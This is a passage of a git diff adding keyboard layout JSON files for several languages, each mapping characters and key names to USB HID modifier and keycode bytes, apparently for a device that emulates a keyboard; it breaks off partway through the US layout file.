"__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "+":"00,00,2d", + "\\":"00,00,2e", + "'":"00,00,31", + "|":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "`":"02,00,2e", + "^":"02,00,30", + "*":"02,00,31", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "$":"40,00,21", + "{":"40,00,24", + "[":"40,00,25", + "]":"40,00,26", + "}":"40,00,27", + "~":"40,00,30", + "COMMAND-CTRL-SHIFT":"40,00,30", + "COMMAND-CTRL":"40,00,30", + "COMMAND-OPTION-SHIFT'":"40,00,30" +} \ No newline at end of file diff --git a/languages/pt.json b/languages/pt.json new file mode 100644 index 0000000..0e48467 --- /dev/null +++ b/languages/pt.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "+":"00,00,2f", + "~":"00,00,32", + "\\":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "*":"02,00,2f", + "`":"02,00,30", + "^":"02,00,32", + "|":"02,00,35", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "{":"40,00,24", + "[":"40,00,25", + "]":"40,00,26", + "}":"40,00,27", + "COMMAND-CTRL-SHIFT":"40,00,27", + "COMMAND-CTRL":"40,00,27", + "COMMAND-OPTION-SHIFT'":"40,00,27" +} \ No newline at end of file diff --git a/languages/se.json b/languages/se.json new file mode 100644 index 0000000..bf0f1fb --- /dev/null +++ b/languages/se.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "+":"00,00,2d", + "'":"00,00,31", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "~":"02,00,20", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "`":"02,00,2e", + "^":"02,00,30", + "*":"02,00,31", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "$":"40,00,21", + "{":"40,00,24", + "[":"40,00,25", + "]":"40,00,26", + "}":"40,00,27", + "\\":"40,00,2d", + "|":"40,00,64", + "COMMAND-CTRL-SHIFT":"40,00,64", + "COMMAND-CTRL":"40,00,64", + "COMMAND-OPTION-SHIFT'":"40,00,64" +} \ No newline at end of file diff --git a/languages/si.json b/languages/si.json new file mode 100644 index 0000000..ba1acd7 --- /dev/null +++ b/languages/si.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "+":"00,00,2e", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "*":"02,00,2e", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "{":"40,00,05", + "[":"40,00,09", + "]":"40,00,0a", + "}":"40,00,11", + "\\":"40,00,14", + "@":"40,00,19", + "|":"40,00,1a", + "~":"40,00,1e", + "^":"40,00,20", + "`":"40,00,24", + "COMMAND-CTRL-SHIFT":"40,00,24", + "COMMAND-CTRL":"40,00,24", + "COMMAND-OPTION-SHIFT'":"40,00,24" +} \ No newline at end of file diff --git a/languages/sk.json b/languages/sk.json new file mode 100644 index 0000000..5349390 --- /dev/null +++ b/languages/sk.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":" Slovak QWERTZ version made by Andrej Šimko", + "__comment":" Note that some special characters use leftCtrl+leftAlt+[key]", + "__comment":" Special Slovak characters like ľščťžýáíéúäô are not included", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "+":"00,00,1e", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "CTRL-ALT":"05,00,00", + "=":"00,00,2d", + ";":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "1":"02,00,1e", + "2":"02,00,1f", + "3":"02,00,20", + "4":"02,00,21", + "5":"02,00,22", + "6":"02,00,23", + "7":"02,00,24", + "8":"02,00,25", + "9":"02,00,26", + "0":"02,00,27", + "\\":"05,00,14", + "%":"02,00,2d", + "/":"02,00,2f", + "(":"02,00,30", + "'":"05,00,13", + ")":"02,00,31", + "\"":"02,00,33", + "!":"02,00,34", + "?":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + "|":"05,00,1a", + "#":"05,00,1b", + "&":"05,00,06", + "@":"05,00,19", + "$":"05,00,33", + "*":"05,00,38", + "{":"05,00,05", + "}":"05,00,11", + "[":"05,00,09", + "]":"05,00,0a", + "~":"05,00,1e", + "^":"05,00,20", + "<":"05,00,36", + ">":"05,00,37", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "COMMAND-CTRL-SHIFT":"12,00,00", + "COMMAND-CTRL":"12,00,00", + "COMMAND-OPTION-SHIFT'":"12,00,00" +} \ No newline at end of file diff --git a/languages/tr.json b/languages/tr.json new file mode 100644 index 0000000..77c63de --- /dev/null +++ b/languages/tr.json @@ -0,0 +1,173 @@ +{ + "__comment": "All numbers here are in hex format and 0x is ignored.", + "__comment": " ", + "__comment": "This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment": " See section 10 Keyboard/Keypad Page (0x07)", + "__comment": " of document USB HID Usage Tables Version 1.12.", + "__comment": " ", + "__comment": "Definition of these 3 bytes can be found", + "__comment": " in section B.1 Protocol 1 (Keyboard)", + "__comment": " of document Device Class Definition for HID Version 1.11", + "__comment": " - byte 1: Modifier keys", + "__comment": " - byte 2: Reserved", + "__comment": " - byte 3: Keycode 1", + "__comment": " ", + "__comment": "Both documents can be obtained from link here", + "__comment": " http://www.usb.org/developers/hidpage/", + "__comment": " ", + "__comment": "A = LeftShift + a, { = LeftShift + [", + "__comment": " ", + "CTRL": "01,00,00", + "CONTROL": "01,00,00", + "SHIFT": "02,00,00", + "ALT": "04,00,00", + "GUI": "08,00,00", + "WINDOWS": "08,00,00", + "CTRL-ALT": "05,00,00", + "CTRL-SHIFT": "03,00,00", + "ALT-SHIFT": "06,00,00", + "__comment": "Below 5 key combinations are for Mac OSX", + "__comment": "Example: (COMMAND-OPTION SHIFT t) to open terminal", + "COMMAND": "08,00,00", + "COMMAND-CTRL": "09,00,00", + "COMMAND-CTRL-SHIFT": "0B,00,00", + "COMMAND-OPTION": "0C,00,00", + "COMMAND-OPTION-SHIFT": "0E,00,00", + "a": "00,00,04", + "A": "02,00,04", + "b": "00,00,05", + "B": "02,00,05", + "c": "00,00,06", + "C": "02,00,06", + "d": "00,00,07", + "D": "02,00,07", + "e": "00,00,08", + "E": "02,00,08", + "f": "00,00,09", + "F": "02,00,09", + "g": "00,00,0a", + "G": "02,00,0a", + "h": "00,00,0b", + "H": "02,00,0b", + "i": "00,00,34", + "I": "02,00,0c", + "j": "00,00,0d", + "J": "02,00,0d", + "k": "00,00,0e", + "K": "02,00,0e", + "l": "00,00,0f", + "L": "02,00,0f", + "m": "00,00,10", + "M": "02,00,10", + "n": "00,00,11", + "N": "02,00,11", + "o": "00,00,12", + "O": "02,00,12", + "p": "00,00,13", + "P": "02,00,13", + "q": "00,00,14", + "Q": "02,00,14", + "r": "00,00,15", + "R": "02,00,15", + "s": "00,00,16", + "S": "02,00,16", + "t": "00,00,17", + "T": "02,00,17", + "u": "00,00,18", + "U": "02,00,18", + "v": "00,00,19", + "V": "02,00,19", + "w": "00,00,1a", + "W": "02,00,1a", + "x": "00,00,1b", + "X": "02,00,1b", + "y": "00,00,1c", + "Y": "02,00,1c", + "z": "00,00,1d", + "Z": "02,00,1d", + "1": "00,00,1e", + "!": "02,00,1e", + "2": "00,00,1f", + "@": "40,00,14", + "3": "00,00,20", + "#": "40,00,20", + "4": "00,00,21", + "$": "40,00,21", + "5": "00,00,22", + "%": "02,00,22", + "6": "00,00,23", + "^": "02,00,20", + "7": "00,00,24", + "&": "02,00,23", + "8": "00,00,25", + "*": "00,00,2d", + "9": "00,00,26", + "(": "02,00,25", + "0": "00,00,27", + ")": "02,00,26", + "ENTER": "00,00,28", + "ESC": "00,00,29", + "ESCAPE": "00,00,29", + "BACKSPACE": "00,00,2a", + "TAB": "00,00,2b", + "ALT-TAB": "04,00,2b", + "SPACE": "00,00,2c", + " ": "00,00,2c", + "-": "00,00,2e", + "_": "02,00,2e", + "=": "02,00,27", + "+": "02,00,21", + "[": "40,00,25", + "{": "40,00,24", + "]": "40,00,26", + "}": "40,00,27", + "\\": "40,00,2d", + "|": "40,00,2e", + ";": "02,00,31", + ":": "02,00,38", + "'": "02,00,1f", + "\"": "00,00,35", + "`": "40,00,31", + "~": "40,00,30", + ",": "00,00,31", + "<": "40,00,35", + ".": "00,00,38", + ">": "40,00,1e", + "/": "02,00,24", + "?": "02,00,2d", + "CAPSLOCK": "00,00,39", + "F1": "00,00,3a", + "F2": "00,00,3b", + "F3": "00,00,3c", + "F4": "00,00,3d", + "F5": "00,00,3e", + "F6": "00,00,3f", + "F7": "00,00,40", + "F8": "00,00,41", + "F9": "00,00,42", + "F10": "00,00,43", + "F11": "00,00,44", + "F12": "00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK": "00,00,47", + "PAUSE": "00,00,48", + "BREAK": "00,00,48", + "INSERT": "00,00,49", + "HOME": "00,00,4a", + "PAGEUP": "00,00,4b", + "DELETE": "00,00,4c", + "DEL": "00,00,4c", + "END": "00,00,4d", + "PAGEDOWN": "00,00,4e", + "RIGHTARROW": "00,00,4f", + "RIGHT": "00,00,4f", + "LEFTARROW": "00,00,50", + "LEFT": "00,00,50", + "DOWNARROW": "00,00,51", + "DOWN": "00,00,51", + "UPARROW": "00,00,52", + "UP": "00,00,52", + "NUMLOCK": "00,00,53", + "MENU": "00,00,65", + "APP": "00,00,65" +} diff --git a/languages/us.json b/languages/us.json new file mode 100644 index 0000000..c7606c2 --- /dev/null +++ b/languages/us.json @@ -0,0 +1,163 @@ +{ + "__comment": "All numbers here are in hex format and 0x is ignored.", + "__comment": " ", + "__comment": "This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment": " See section 10 Keyboard/Keypad Page (0x07)", + "__comment": " of document USB HID Usage Tables Version 1.12.", + "__comment": " ", + "__comment": "Definition of these 3 bytes can be found", + "__comment": " in section B.1 Protocol 1 (Keyboard)", + "__comment": " of document Device Class Definition for HID Version 1.11", + "__comment": " - byte 1: Modifier keys", + "__comment": " - byte 2: Reserved", + "__comment": " - byte 3: Keycode 1", + "__comment": " ", + "__comment": "Both documents can be obtained from link here", + "__comment": " http://www.usb.org/developers/hidpage/", + "__comment": " ", + "__comment": "A = LeftShift + a, { = LeftShift + [", + "__comment": " ", + "0": "00,00,27", + "1": "00,00,1e", + "2": "00,00,1f", + "3": "00,00,20", + "4": "00,00,21", + "5": "00,00,22", + "6": "00,00,23", + "7": "00,00,24", + "8": "00,00,25", + "9": "00,00,26", + "CTRL": "01,00,00", + "CONTROL": "01,00,00", + "SHIFT": "02,00,00", + "ALT": "04,00,00", + "GUI": "08,00,00", + "WINDOWS": "08,00,00", + "COMMAND": "08,00,00", + "a": "00,00,04", + "A": "02,00,04", + "b": "00,00,05", + "B": "02,00,05", + "c": "00,00,06", + "C": "02,00,06", + "d": "00,00,07", + "D": "02,00,07", + "e": "00,00,08", + "E": "02,00,08", + "f": "00,00,09", + "F": "02,00,09", + "g": "00,00,0a", + "G": "02,00,0a", + "h": 